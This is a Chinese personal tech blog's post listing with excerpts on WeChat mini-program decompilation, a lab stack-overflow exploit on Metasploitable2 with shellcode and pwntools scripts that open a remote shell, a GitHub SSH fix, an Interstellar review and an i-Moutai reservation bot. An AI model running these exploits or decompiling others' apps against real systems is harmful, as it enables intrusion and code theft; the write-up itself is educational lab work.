首页
文章分类
逆向网安
中英演讲
杂类教程
学习笔记
前端开发
汇编
数据库
.NET
服务器
Python
Java
PHP
Git
算法
安卓开发
生活记录
读书笔记
作品发布
人体健康
网上邻居
留言板
欣赏小姐姐
关于我
Search
登录
1
利用AList搭建家庭个人影音库
4,743 阅读
2
浅尝Restful Fast Request插件,一句话完成 逆向过程
4,218 阅读
3
完美破解The Economist付费墙
2,933 阅读
4
i茅台app接口自动化csharp wpf实现,挂机windows服务器每日自动预约
2,717 阅读
5
青龙面板基本使用并添加修改微信/支付宝步数脚本
2,154 阅读
Search
标签搜索
PHP
Laravel
前端
csharp
安卓逆向
JavaScript
Python
Java
爬虫
抓包
Git
winform
android
Fiddler
Vue
selenium
LeetCode
每日一题
简单题
docker
Hygge
累计撰写
98
篇文章
累计收到
450
条评论
首页
栏目
逆向网安
中英演讲
杂类教程
学习笔记
前端开发
汇编
数据库
.NET
服务器
Python
Java
PHP
Git
算法
安卓开发
生活记录
读书笔记
作品发布
人体健康
页面
网上邻居
留言板
欣赏小姐姐
关于我
用户登录
搜索到
98
篇与
的结果
2023-12-22
微信小程序逆向教程
小程序包提取1.PC端2.安卓端存储在这三个子目录中,可能有主包和子包基本使用安装node依赖npm install esprima -g npm install css-tree -g npm install cssbeautify -g npm install vm2 -g npm install uglify-es -g npm install js-beautify -g npm install escodegen -g当检测到 wxapkg 为子包时, 添加-s 参数指定主包源码路径即可自动将子包的 wxss,wxml,js 解析到主包的对应位置下. 完整流程大致如下:1.获取主包和若干子包2.解包主包 node wuWxapkg.js testpkg/master-shop.wxapkg3.若无子包则不需要: 解包子包 node wuWxapkg.js testpkg/sub-1-shop.wxapkg -s=../master-shop-s 参数可为相对路径或绝对路径, 推荐使用绝对路径, 因为相对路径的起点不是当前目录 而是子包解包后的目录├── testpkg │ ├── sub-1-shop.wxapkg #被解析子包 │ └── sub-1-shop #相对路径的起点 │ ├── app-service.js │ ├── master-shop.wxapkg │ └── master-shop # ../master-shop 就是这个目录 │ ├── app.json无视这个报错,把所有子包得到的文件全部复制到主包的项目目录下,即可得到一套完整的反编译代码。反编译问题汇总问题一:Cannot find module 'uglify-es'解决方案:提前安装所需的node依赖:npm install esprima --save npm install css-tree --save npm install cssbeautify --save npm install vm2 --save npm install uglify-es --save npm install js-beautify --save npm install escodegen --save问题二:Error: Magic number is not correct!解决方案:我是从电脑端微信客户端获取的wxapkg文件用网上的所有脚本都报magic number is not correct最后试了试原始的方法 用模拟器去获取wxapkg,就成了问题三:SyntaxError:Unexpected end of input解决方案:问题四:反编译子包遇到Error: ENOTDIR: not a directory, scandir解决方案:使用-s命令反编译子包时,可能也会报错:Error: ENOTDIR: not a directory, scandir。遇到这个报错可以不用管,运行完可以看下解出来的文件,实际上需要用到的东西已经解出来了。最后把所有子包得到的文件全部复制到主包的项目目录下,即可得到一套完整的反编译代码。引用1.反编译报错:Unexpected end of input:https://github.com/xdmjun/wxappUnpacker/issues/302.浅谈小程序逆向:https://blog.csdn.net/weixin_42545308/article/details/126890607使用-s命令反编译子包时,可能也会报错:Error: ENOTDIR: not a directory, scandir。遇到这个报错可以不用管,运行完可以看下解出来的文件,实际上需要用到的东西已经解出来了。3.wxappUnpacker1 GITHUB Repository:https://github.com/jas502n/wxappUnpacker14.获取微信小程序源码的三种方法:https://www.cnblogs.com/micr067/p/15524643.html5.小程序反编译的几点心得:https://blog.csdn.net/qq_41297837/article/details/103962564magic number is not correct
2023年12月22日
281 阅读
0 评论
0 点赞
2023-10-14
使用GDB调试本地栈溢出漏洞获得Root权限
攻防目标基于网络安全攻防实验环境,在Metasploitable2-Linux编译有漏洞的C语言程序,使用GDB进行动态调试,理解栈溢出本地漏洞的原理。使用pwntools构造远程漏洞,并使用kali进行攻击,理解远程漏洞原理。靶机和攻击机环境靶机系统 :Linux metasploitable 2.6.24-16-server攻击机: Linux kali 6.3.0-kali1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 (2023-06-29) x86_64 GNU/Linuxtask1: 在Metasploitable2-Linux编辑编译有漏洞的C语言源程序1.1 使用终端工具连接Linux,编辑overflow.c源程序#include <stdio.h> #include <string.h> int f() { char buf[32]; system("echo input"); return read(0,buf,100); } int main(int argc, char *argv[]){ f(); system("echo helloworld"); return 0; }函数f中故意制造栈溢出漏洞1.2 使用GCC编译源程序并执行a) #echo 0 > /proc/sys/kernel/randomize_va_space 禁止地址随机化功能b) #ulimit -c unlimited 让系统在错误时产生core文件c) #gcc -Wall -g -fno-stack-protector -o overflow overflow.c -m32 -Wl,-zexecstack 编译源程序d) # ./overflow 执行程序分别输入32个a,35个a,36个a,37个aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaatask2: 使用gdb反汇编调试有漏洞的C语言源程序gdb ./overflow core查看coredump文件,查看寄存器使用gdb反汇编overflow程序gdb ./overflow 打开程序(gdb) set disassembly-flavor intel //设置反汇编格式为intel(gdb) disassemble main //反汇编main函数(gdb) disassemble f //反汇编f()函数使用gdb跟踪调试程序(gdb) start //启动程序查看寄存器和内存step执行一行源代码进入f()函数内部next执行一行源代码不进入system("echo input")函数next执行一行源代码不进入return read(0,buf,100)函数输入aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbccccnext执行一行源代码,查看寄存器和内存,2.1 任务二分析首先在main函数执行中查看寄存器:此时main函数对应的栈顶指针和基址指针如下:寄存器值esp0xbffff880ebp0xbffff888eip0x80483e4单步进入f()函数内部,再次查看寄存器变化汇编中调用call指令,会将当前的ebp值入栈,将esp赋值给ebp(原先的栈顶变成栈底),然后将eip入栈寄存器值esp0xbffff840ebp0xbffff878eip0x80483aa继续next执行当读入一个长度大于32位的字符串, buf变量无法读取,此时查看内存区域使用命令:(gdb)x/32x 0xbffff84061为a的ascii码,当读完所有的a后,读b和c对应的ascii码分别为62和63此时存储b和c的内存单元分别为 函数的堆栈帧的基地址 和 当前函数执行完毕的返回地址图上可以发现这两处内存单元已经被篡改,继续单步执行,查看寄存器task3:构造shellcode攻击本地漏洞3.1 编辑汇编语言shell.asm输出字符串HACKBITS 32 start: xor eax,eax xor ebx,ebx xor ecx,ecx xor edx,edx mov bl,1 add esp,string - start mov ecx,esp mov dl,5 mov al,4 int 0x80 mov al,1 mov bl,1 dec bl int 0x80 string: db "HACK",0xa3.2 下载编译安装汇编语言工具(配置、编译、安装)https://launchpadlibrarian.net/18093887/nasm_0.99.06.orig.tar.gz 3.3 #nasm -o shell shell.asm汇编源程序3.4 #ndisasm shell反汇编获得机器码3.5、构造shellcode提交给漏洞程序执行perl -e 'printf "a"x32 . "b"x4 . "c"x4 . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x48\x41\x43\x4b\x0a"' | ./overflow利用栈溢出 更改程序f函数的返回地址 输出 "Hack" 的效果6、#gdb ./overflow core 查看之前记录的f()函数对应的寄存器和内存此时0x63636363就是f()函数的返回地址只需要把这里的内容改为要跳转的恶意程序地址即可7、构造shellcode提交给漏洞程序执行perl -e 'printf "a"x32 . "b"x4 . "\xa0\xf8\xff\xbf" . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x48\x41\x43\x4b\x0a"' | ./overflowtask4:使用pwntools攻击远程漏洞1、在kali远程攻击Metasploitable2-Linuxa)在Metasploitable2-Linux监听123端口并绑定溢出程序root@metasploitable:~# nc -l -v -p 123 -e ./overflowb)在kali使用nc连接Metasploitable2 -Linux的123端口并发送shellcode(root㉿kali)-[~] nc 192.168.91.202 1232、在kali安装使用pwntools攻击Metasploitable2-Linuxa)#wget https://bootstrap.pypa.io/get-pip.py b)#python3 get-pip.pyc)#pip3 install pwntoolsd)在kali编辑exploit攻击脚本exp.pyfrom pwn import * p = remote('192.168.91.202','123') stackaddr = 0xbffff8a0 shellcode=b'\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x48\x41\x43\x4b\x0a' payload = b'a' * 36 + p32(stackaddr) + shellcode p.send(payload) p.interactive()e)在Metasploitable2-Linux监听123端口并绑定溢出程序f)#python3 exp.py在kali执行exploit攻击脚本3、使用pwntools获得shella)在kali编辑exploit攻击脚本exp.pyfrom pwn import * p = remote('192.168.91.202','123') stackaddr = 0xbffff8a0 shellcode = asm(shellcraft.linux.sh(),arch='i386') payload = b'a' * 36 + p32(stackaddr) + shellcode p.send(payload) p.interactive()b)在Metasploitable2-Linux监听123端口并绑定溢出程序c)#python3 exp.py在kali执行exploit攻击脚本
2023年10月14日
241 阅读
0 评论
0 点赞
2023-10-06
服务器无法通过SSH连接Clone项目
给仓库部署了服务器上的SSH之后仍然无法Clone项目如下命令测试:ssh -T
[email protected]
也无法正常响应可能22端口出问题了,然后进入~/.ssh/目录下修改config文件,建议直接在终端中输入vim ~/.ssh/config,使用vim编辑器打开此文件,一般是为空,然后加上以下代码:# Default github user self Host github.com port 443 # 默认是22端口 HostName ssh.github.com IdentityFile ~/.ssh/id_rsa这样的话,github22端口超时的问题就解决了,证明ssh连接是没有问题的,这样github的项目可以正常的push和pull了。引用1."ssh:connect to host github.com port 22: Connection timed out"问题的解决:https://blog.csdn.net/qq_38330148/article/details/109371362
2023年10月06日
226 阅读
0 评论
1 点赞
2023-08-30
星际穿越 Interstellar :未来影响过去,过去创造未来
2023年8月29日关小鹿同学推荐我看星际穿越,非常棒的电影剧情简介 近未来的地球黄沙遍野,小麦、秋葵等基础农作物相继因枯萎病灭绝,人类不再像从前那样仰望星空,放纵想象力和灵感的迸发,而是每日在沙尘暴的肆虐下倒数着所剩不多的光景。在家务农的前NASA宇航员库珀(马修·麦康纳 Matthew McConaughey 饰)接连在女儿墨菲(麦肯吉·弗依 Mackenzie Foy 饰)的书房发现奇怪的重力场现象,随即得知在某个未知区域内前NASA成员仍秘密进行一个拯救人类的计划。多年以前土星附近出现神秘虫洞,NASA借机将数名宇航员派遣到遥远的星系寻找适合居住的星球。在布兰德教授(迈克尔·凯恩 Michael Caine 饰)的劝说下,库珀忍痛告别了女儿,和其他三名专家教授女儿艾米莉亚·布兰德(安妮·海瑟薇 Anne Hathaway 饰)、罗米利(大卫·吉雅西 David Gyasi 饰)、多伊尔(韦斯·本特利 Wes Bentley 饰)搭乘宇宙飞船前往目前已知的最有希望的三颗星球考察。 他们穿越遥远的星系银河,感受了一小时七年光阴的沧海桑田,窥见了未知星球和黑洞的壮伟与神秘。在浩瀚宇宙的绝望而孤独角落,总有一份超越了时空的笃定情怀将他们紧紧相连……影评源自:https://movie.douban.com/review/7181757/先推一篇视角独特的影评:被忽略的阿弗莱克 http://www.douban.com/note/450035111/图书管理员又在历史上留下了可歌可泣的一页。五星只代表力荐,不代表满分。嫌这部电影不够硬的同学,不管你是文科生、理科生,还是特别特别厉害的、无处不在无孔不入的宇宙级科幻小说《三体》粉,Kip Thorne会出一本解释片中科学设定的书《The Science of Interstellar》http://book.douban.com/subject/26253662/,你们可以等书面世,另外在reddit讨论的学神们要不要再去看遍电影啊?事实是,这部电影尽管有Kip Thorne这样的物理学巨擘保驾护航,却意外的好懂亲民,我就算想写高哔格影评分析剧情都不知道哪里入手,简单地说,就是地球快咽气的时候,NASA发现土星附近出现了一个虫洞,虫洞只能人为制造,尽管不清楚到底谁干的,但是虫洞可以大大缩短宇宙旅行距离,因此人类有了寻找新家园的可能性。第一批派出的探索者有三个反馈了积极信号,于是主角团就穿越虫洞找这三颗星球。在前两个星球历险后,燃料不足以支撑回程,所以Cooper利用黑洞引力让Brand去找第三颗,自己则随着脱离的舱体进入黑洞。后来发现黑洞内部的世界由五维度生物(未来人类)制造,而就是他们引导着过去的人类拯救自己,Cooper领悟后开始当图书管理员引导自己并传给女儿信号,最终解决重力难题,拯救了大家。本片在理念上没有硬伤,乔纳森诺兰对情节中一些“bug”的解释我翻译好后会放在影评结束的部分,下面是一些大家可能感兴趣的细节:1、交通工具不断旋转的环状结构飞船是母舰Endurance,在拉撒路任务的第一阶段相当于一个空间站,不断传回虫洞那头的消息。它有3组共12个太空舱,包括4个引擎、4个永久舱室(比如实验室、科学家的居住舱和驾驶舱)、4个携带殖民物资可脱离母舰的舱室。Ranger飞船有两艘(小说设定),主角们搭乘Ranger1号登上了Endurance,以后也一直用的1号。在Mann博士的星球,Mann用计把主角们引离1号,抢夺1号后强行和Endurance对接未果,1号报销。而在黑洞附近,Cooper搭乘了Ranger2号把自己推射进黑洞,得以让Endurance继续前行。Lander是用于运载携带殖民物资太空舱的登陆船(小说设定,两艘),体型庞大宛若运输机,就是Brand开去救Cooper的那艘。后来这个庞然大物愣是赶上了Endurance的旋转节奏,和其达到相对静止后对接了上去。在Endurance滑过黑洞的时候,为了给母舰减重/节省燃料,TARS操控的它和Cooper搭乘的Ranger2号一起脱离了母舰。2、TARS和CASE这两个是军用机器人,外表貌似致敬2001里无处不在的黑石碑。它们拥有通过磁力枢纽拼合起来的四个主块,每个主块又能延展出更多的小磁力长方体,所以不但能奔跑、公主抱,还可以伸出灵巧的小手指“手动”操作飞船对接。诺兰就是为了避免以往科幻片对机器人相当独断的设计理念(尽量拟人化),才设计出了俄罗斯方块般的萌物,日后也许可以出手办。尽管看似黑石碑,但是幽默感和绝对服从让其显得特别可爱,在经历了2001里的HAL后,你还想要求人工智能怎么样。在片场这两个机器人由喜剧演员Bill Irwin手动操纵,方法如同操纵牵线木偶,后期他的身影会被抹去。机器人如此生龙活虎,这位功不可没。同时他也是话唠TARS的配音。TARS的小伙伴,优雅寡言的CASE是Josh Stewart配音的,没错,就是TDKR里贝恩的一号小跟班,戴红领巾的小哥(http://movie.douban.com/celebrity/1004844/)。3、黑洞和虫洞,两个计划黑洞和虫洞是完全不同的两个概念。Kip是个好老师,可以把复杂的理念解释得很清楚。影片里相当形象地解释了虫洞。它就是借助空间折叠、连接超远距离两个地点的快速通道,所以太空旅行的时间可以大大缩短,这也是拉撒路任务最关键的部分。虫洞的能量场并不稳定,而且通常很细小,不足以通过飞船,但科学家们认为可以通过反物质的负能量去中和,强化其结构、稳定其能量场,使其足以容纳飞船穿过(只有负能量才能维持虫洞的开启状态)。所以,不要说现在虫洞不存在,那是因为我们的科技水平不够。但是在未来,通过虫洞进行星际旅行的可能性是有的。黑洞吸收一切物质,谁也不放过。主角们在燃料快耗尽的情况下,利用黑洞的超强引力靠近最后一个星球,如果你玩了配合电影发行的app,就知道此时只需要控制方向,别让飞船离黑洞太近(会被吸)或者脱离轨道(会遗失太空)。最后应该是利用了Ranger2号和Lander的最后一点燃料及其脱离产生的反作用力给Endurance提供向前的动力。人们对黑洞事件视界(event horizon)之内的事情一无所知,正因为一无所知,所以理论上编剧们怎么玩都行。最近看了探索频道的纪录片《星际穿越的科学》,其中提到宇航员如果接近黑洞,标准结局是被拉成面条,但是后一句又紧接着提到“涉及到黑洞时,任何物理定律都是不顶用的,对于到底会发生什么,我们真的不知道”。两个计划的关键在于重力,我猜,这具体来说就是如何把地球上的人/一定数量的人送上殖民星球繁衍后代。B计划的5000受精卵非常现实、可行,同时也很冷冰冰,不但把第一拨殖民者当成了单纯的生育工具,也放弃了地球上的所有人类。所以从人情上看,A计划比较让人舒心。虫洞出现后,NASA开始建设这个地下掩体(前身是NORAD,北美防空司令部),作为发射井,也作为未来的空间站,但是要把如此巨大的空间站送上太空并不容易,现在的人类科技无法达到如此水平,因为我们对重力的研究还不够透彻,我们需要关于黑洞里奇点的一切资料。这在Brand爹看来毫无希望,所以A计划一开始只是个忽悠人的幌子。空间站的建设也解释了为何人类的美好明天来得如此之快——因为我们早就有所准备了,当时所需要的,只是操纵重力的方法而已。4、黑洞里发生了什么/我们的未来怎么样马修的几个惊诧脸镜头配合光怪陆离的黑洞内部景象,相当明确地体现了导演致敬库布里克的少女心。这里发生的事情超出了三次元人类的认知,是打破次元墙、混淆时空的存在。层层叠叠的嵌套时空不由让人想起了Inception和诺兰处女作Doodlebug。看来折叠、旋转、重力/物理规则的改变确实是他的菜。对于这一切混乱,剧本将其推给了五维度生物——未来人类。是未来的人类制造了虫洞拯救过去的自己、未来的Cooper领悟了这个道理后发暗号引导自己上船。Kip Thorne把关的剧本都没解释具体原理,说明这里的具体原理显然不需要我们理解,我们只要知道是这么一回事就好了。按照乔纳森的解释,黑洞的视界之内相当于有一个信箱,可以接收来自未来的信件,你只有到达黑洞才能发现这个信箱,而这个信箱也只能放在黑洞里,借由重力和一些特殊条件(比如爱)才能达到信息传递的目的。黑洞里叠加了各种时空,未来人类把所有需要的数据和方程都通过TARS之口告诉了Cooper,Cooper再以铁杵磨成针的毅力把信息翻成摩斯电码传给女儿的手表。简单地说,就是未来的某个时刻,人类要做一件拯救祖先的事情,不做不可以,如果不做的话自己就不存在。这样一说是不是像因果律武器?先达成“人类存活”这个结果,再导出拯救自己的过程。因为黑洞里时空可随意操纵,所以一切都好说_(:з」∠)_英灵Cooper,对界宝具为因果律武器:那一年送给女儿的表aka.跨维度之表。在这件任务完成后,信箱关闭,Cooper通过某条快速通道被抛到了土星附近,即虫洞的这一头,时间这种概念在事关黑洞的时候显得无关紧要,所以大家不必在乎这一瞬间过去了多久,按照结尾处男主的岁数推断,大概这黑洞一来一去100年过去了。总之,因为一切皆有可能(积极版墨菲定律),所以男主在茫茫宇宙中被拯救也是可能的——因为人类在此期间星际旅行的技术已成熟,而空间站又环绕土星,那么显然Cooper和TARS是被故意丢在那里的。他醒来时所在的空间站是人类暂时栖居的新家园之一,基于Murph攻克的重力难题升空。Brand幸运地发现男朋友(死了)的星球适合生存,因此那颗星球将成为人类的殖民地,而片尾也暗示男主将带着TARS开始新的征程。技术性的讲完了,我的心情也稍微平静了一点,没有刚开始那种怅然了,接下来是我的个人感受。我知道这部电影算是会有争议的那一种,有人会称其神作,有人会大失所望,所以各自保留观点吧。现在想想Interstellar还是翻成星际之间好,星际穿越好像只注重穿越虫洞(在电影里其实不是那么重要,只是个基本设定),“之间”却注重距离与联系,回味无穷。↓首先我们恭喜导演完成了一个让人惊叹的突破——尽管Cooper是个鳏夫,这意味着男主仍然是死老婆的命,但是这部里的女性角色居然都活着且不是坏人。这就让马特达蒙的所有戏份都让人忍俊不禁。他的角色自拍摄起就被渲染得太过神秘,冰岛拍摄时和四人主角团钻一个帐篷密谋、几部预告里都没有出现他的脸(只有背影)、他的角色几乎未被谈起以至于人们以为他只是贡献了声音报个倒计时什么的——万万没想到一脸憨厚的马达承担了“人性阴暗面”部分。没错,他就是人类版HAL,前半部电影一直在夸赞Mann博士有多棒,就如2001里HAL是公认的最强电脑一样。这张朴实的脸给人一种格外可靠的感觉,不过却被恰到好处的BGM出卖了(山巅对话的配乐一直很诡异,我差点以为那是马达的flag,比如他说了一半就会被风吹起的石头削了脑袋之类的)。科幻片硬核到一定境界就变成了恐怖片(比如2001),也许关于剧情大家会争论不休,然而对配乐肯定是一致好评。汉斯似乎很久没写过如此平和却直击人心的音乐了,当初的情况是——“我能说的只有这些:在我开始之前,也就是今年一月份的时候,克里斯跟我说‘汉斯,我会为你写一页纸的文字,然后给你一天时间,你只要把这页纸带给你的任何想法都写进音乐,无论是什么。’那页纸和电影一点关系都没有……准确地说,克里斯那天写下的东西,或者说他希望从我这得到的东西,更多是关于我自己的故事,而非电影情节相关。他真的深知如何触动我的内心(get under my skin)。这就是我们之间的游戏。”如果这部电影让你不止一次潸然泪下,父女的演技是一方面,配乐则同样是胜负手。配乐讲述了汉斯自己的故事,那里有回忆和感性的力量,饱含着无止境的汹涌情绪,这些情绪凝练成了与电影相称的心境——超越时空的爱。这个非常G级的主题可能会让部分观众失望。诺兰是复杂叙事、烧脑剧情、悬念、反转的代名词,可以说是大卫芬奇的光明版,前提是他和大卫芬奇共同具备的特点——出乎意料的狡黠和对人心的洞察。然而星际穿越既没有格外意外的段落(来自未来的消息+反叛的好人都谈不上创新),居然还爱满人间,似乎真的更适合斯皮尔伯格。然而从一系列的访谈里我们得知,诺兰,抛开以往那些辛辣,其实是个行事果断的古典派,对老少咸宜的家庭片感情深厚,一旦得到最顶级的资源,立刻会着手干自己想干的事。在华表殷切的“买买买,你要什么我们都给你”的鼓励下,他拍出了这部好莱坞没有公司敢交给任何导演拍摄的电影:——一部绝对现实主义的硬科幻,它硬到制片人/编剧是与霍金齐名的物理学家,履历表里赫然有一篇《虫洞,时间机器与弱能量条件》;它现实到飞船内部几乎全是模拟信号而非酷炫至极的数字信号,而主创们认为最超越现实的东西居然是其他太空探险片飞船最基本的设定:休眠舱,影片主题则是如今人类也在面临的难题:饥荒与沙尘暴;它朴素到一块绿幕都不用,能实景则实景,能模型则模型,不能模型用投影,总之要让演员真的和场景互动,就是在这样的条件下它也制造了最炫目的太空奇景,让观众如临其境心潮澎湃,当布满星辰的空间如壁纸般折叠时,当神秘的球形虫洞隐隐向Endurance召唤时,当可怖却美到让人心悸的黑洞将渺小的飞船吞噬时,那些时刻会成功引燃每个人对太空的向往、对自身存在的思索——你找不到比它更硬、更现实、更不闪耀的科幻片了,它甚至没用一点小花招,连真空里的无声环境也是真的无声,我是说,真的无声。制片厂不允许电影里不用一点音轨,因为绝对寂静会让观众恐慌,诺兰一拍桌子说太好了,就要这个效果……就是这样一部完全基于现实、由著名mind-fuck导演制作的电影,却拥有最不可思议的两个内核:爱,以及神棍般的拯救方案。这让刚才那一段的铺垫成了无关紧要的细节,管你是多高大上的严谨学术设定,总之一切设定为剧情服务,而在绝对现实的基调下,影片用完全跳脱现实认知的方法给出了一个happy ending。这是诺兰一开始就打算好的,他想描绘一个触手可及的未来,和一个完全“跳脱”的结局,和先前铺垫的未来一点都不相称。不巧的是,高维度生命的介入,这点2001已经用过了。如果我没看过2001,我可能觉得这种处理方式十分天才,可是我们都认识Dave和黑石碑,都经历过不明觉厉的黑屏和精神污染MAX的银河映像,所以,即便这次看到了完全不同的视野、叹为观止的嵌套书架——有棱有角、冰冷、机械,诺兰的一贯风格,在盗梦里已经体现得淋漓尽致了——可它还是让人一直想起库布里克。而父女隔时空交流,尽管在影片的设定下很科学,却还是让人感到“这一点都不科学”,突如其来的美丽新世界也超前得太多了,一瞬间惊出一身冷汗以为Cooper在做梦。仔细想来这倒是说得通,Cooper在黑洞里是无视物理法则的开挂状态,未来人类开一条快速通道就能瞬间拯救他,只要他传达出信息完成了任务。而有可能被口诛笔伐的交叉剪辑段落:图书管理员Cooper和回忆往事的科学家Murph,如果你质疑“时间怎么可能那么巧,这两人居然同步了?”,那么请记住,时空不是定量,黑洞里的时空可以选择、干涉,两人并非“同时”,而是Cooper找到/挑出了那个时刻的女儿。感觉很厉害的样子,和现实主义差好远,可一旦扯进来自未来的高维度生物,一切皆有可能。这真是个相当方(偷)便(懒)的设定啊。撇开这点不谈,我不满意的大概是——喂,Doyle便当发得好随便,为了推进剧情居然站在原地等便当?其实完全可以表现为“Doyle一刻都没耽误、用尽全力想上船但还是被卷走了”,不知为何要让他发呆。还有,那段放火烧田/冰原摔跤的交叉剪辑比较怪异,前者的戏剧冲突太浅,根本无法和后者相提并论,哥哥的态度很匪夷所思,似乎是为了制造冲突而冲突,有点夸张了。至于担负起以往女主角任务(黑化并/或死去)的马达,这次的阴暗设置和之前的诺兰作品比有点小巫见大巫,也算不上旅程中的最大危机,而且笑果还挺足的,也许导演更擅长写邪恶的女人。尽管如此,那句“50%是我这些年来最大的概率”还是让人唏嘘不已。Mann博士曾经代表了人类最美好的一面,无畏、大爱、探索与牺牲精神,他就是开拓者和先驱者的典范,然而终究敌不过孤寂和生存本能。你甚至在责备他之前也要犹豫一下——他想干掉Cooper,完全是因为Cooper想回家,而任务则需要Endurance继续前行。当然,这一切都建立在Mann谎言的基础上。这就是人类,时而伟大,时而懦弱。不过这些设定也只是旅途中的坎坷而已。这部太空探险片里没有光怪陆离的外星生物、叛变邪恶的AI、酣畅淋漓的空战,有的只是最真实的目的、最艰难的抉择和最现实的挑战,这就是触手可及的未来、人类最可能遇到的麻烦,尽管如此,诺兰还是从开始就下定决心给我们好结局。“我想给本片注入一点阿波罗精神。” 他说,他们那个年代的人伴随着NASA的航天项目长大,那时人们向往太空,不懈探索,如今却固守地球,令人沮丧——这部电影不仅关于爱,也关于导演希望全人类都坚持的梦想,探索、开拓、冲出太阳系、冲出银河系,我们不该葬身于地球。导演把他的太空梦,他对6、70年代宇宙探索黄金时代的回忆,他对人类进取心的深刻感情通通写进了电影,这可能会激起又一波思想火花,或在未来科学家的心中埋下火种,或让更多人梦想扎进星空。那么多科幻片描绘的场景距离我们如此之远,看起来遥不可及,然而这一部似乎就在我们触手可及的地方,只要更多人为此努力,我们的足迹一定会行至更远。Brand教授反复念及的诗句:Do not go gentle into that good night. Old age should burn and rave at close of day. 这就是指引人类的明灯,同时也是诺兰向观众传达的意思,如果TDK三部曲还不够表现他的燃向少年心,那么这部则让其初心彻底暴露——原来仍然是爱的战士啊。所有震撼视听的异世界好像都不及Cooper对女儿突破次元的爱。Brand认为,爱不是虚无缥缈的设定,现在我们的理解有限,也许在更高的次元,爱可以被量化。是的,爱是推动一切的关键要素,影片的两个关键词分别是爱与重力,唯有这两者可以穿越时空。为什么Cooper父女会被选中?因为地球上没有任何一个人能做到他们这样,只有Murph才会念念不忘父亲的任务和信念,这种牵挂如此之深,以至于黑洞那头的人可以利用这丝牵挂完成信息的传递。如果这种爱不够强大,那么Murph也不会回到儿时的房间看表了,何谈拯救人类。三刷时也特别注意到成年Murph和哥哥大吵一架后的转折,她在路上看到了两个灰头土脸的孩子,趴在卡车后面没精打采地望着她。如果地球得不到拯救,这些孩子将是最后一代,呼吸着沙尘,啃着早晚要病死的玉米,目光所及之处皆尘土,这些将构成他们最后的记忆,人类最后的记忆。Murph就在那时领悟到自己不能“坐以待夜”,就算拯救不了全人类,至少她可以救嫂子和小Coop,所以她才猛打方向盘,决心最后一搏。她在地球上为家人的生存而战,虫洞那头,她的父亲正为了同一个目标准备牺牲自我。因此人类的梦想终究以爱为动力,就如远在美国的儿女牵动着Limbo里的Cobb,而哥谭则牵动着布鲁斯韦恩。最后以先行预告里的台词做结,向主创们致敬,也向具有探索精神的人类致敬。We've always defined ourselves by the ability to overcome the impossible一直以来,我们通过战胜不可能来定义自我And we count these moments我们得算上这些时刻These moments when we dare to aim higher这些时刻我们敢于瞄准更高的目标to break barriers来打破屏障to reach for the stars以触碰星辰to make the unknown known让未知变成已知We count these moments as our proudest achievements我们把这些时刻看做最骄傲的成就But we lost all that但我们失去了那一切And perhaps we've just forgotten也许我们只是忘记了that we are still pioneers我们依然是先驱者and we've barely begun我们几乎才刚刚起航and that our greatest accomplishments cannot be behind us我们最伟大的成就绝不会属于过去that our destiny lies above us我们的命运横亘于头顶的未来=======乔纳森解释为何未来人类不通过一种更容易理解的方式向过去传达信息:用重力传达信息只能在特定的空间内。在2001里,黑石碑埋在月球上,是因为只有科技发展到一定水平的文明才能到达月球、找到石碑。这就像一个测试。如果你真能把它挖出来,说明你的科技水平已经达到了要求,那么你就得到了如何往更高层面发展的指示。而星际穿越里则是不同的情况,那就是交流/重力是极其复杂的现象,只能在最极端的空间里才能达成。也就是说,你可以想象一个信箱,这个信箱可以接收来自未来的信件,然而这个信箱在黑洞的事件视界内,你甚至不知道它就在那儿)一篇克里斯的访谈:http://site.douban.com/134535/widget/notes/12885672/note/449946943/Q:网友们已经试图指出《星际穿越》的漏洞了。你有没有觉得这种流于表面的咬文嚼字有点蠢?毕竟这只是一部电影。N:老实说,我还没去看他们试图指出了哪些漏洞,所以我还没办法逐条解释。我的电影在某些方面总是被以一种高得奇怪的标准衡量,而其他所有人的电影也没被这么对待过——这我可以接受。人们总是控诉我的电影有情节漏洞,我非常清楚那些漏洞的存在,而且会很清楚人们何时会发现,但他们一般发现不了。不过大家在质疑哪些科学问题呢?那可是基普的专业领域啊。ps. 本片预算为1.65亿,本来华纳和派拉蒙想给两亿,导演说要两亿干嘛?又用不完……为什么用不完?诺兰曾打电话问扎克“(拍钢铁之躯时)你们种了多少玉米?”,扎克说,种了300亩,花了好大一笔预算啊!诺兰于是让剧组种了500亩,然后把玉米卖掉了,还赚了一笔。pps. 四刷过后我觉得完成了又一次和2001的神交。诺兰是库布里克最伟大的粉丝,不服也不跟你们战。
2023年08月30日
369 阅读
0 评论
2 点赞
2023-07-30
i茅台app接口自动化csharp wpf实现,挂机windows服务器每日自动预约
Wpf实现i茅台app接口自动化每日自动预约hygge-imaotai 『 All open source projects 』 『 Personal blog 』 项目介绍通过接口自动化模拟i茅台app实现每日自动预约茅台酒的功能,可添加多用户,选择本市出货量最大的门店,或预约你的位置附近门店软件会在指定时间开始对管理的用户进行批量预约。演示图i茅台预约 贡献代码若您有好的想法,发现一些 BUG 并修复了,欢迎提交 Pull Request 参与开源贡献发起 pull request 请求,提交到 master 分支,等待作者合并Star历史鸣谢感谢以下组织机构提供开源许可
2023年07月30日
2,717 阅读
10 评论
9 点赞
2023-07-26
第四篇Android逆向:动态调试&Log插桩
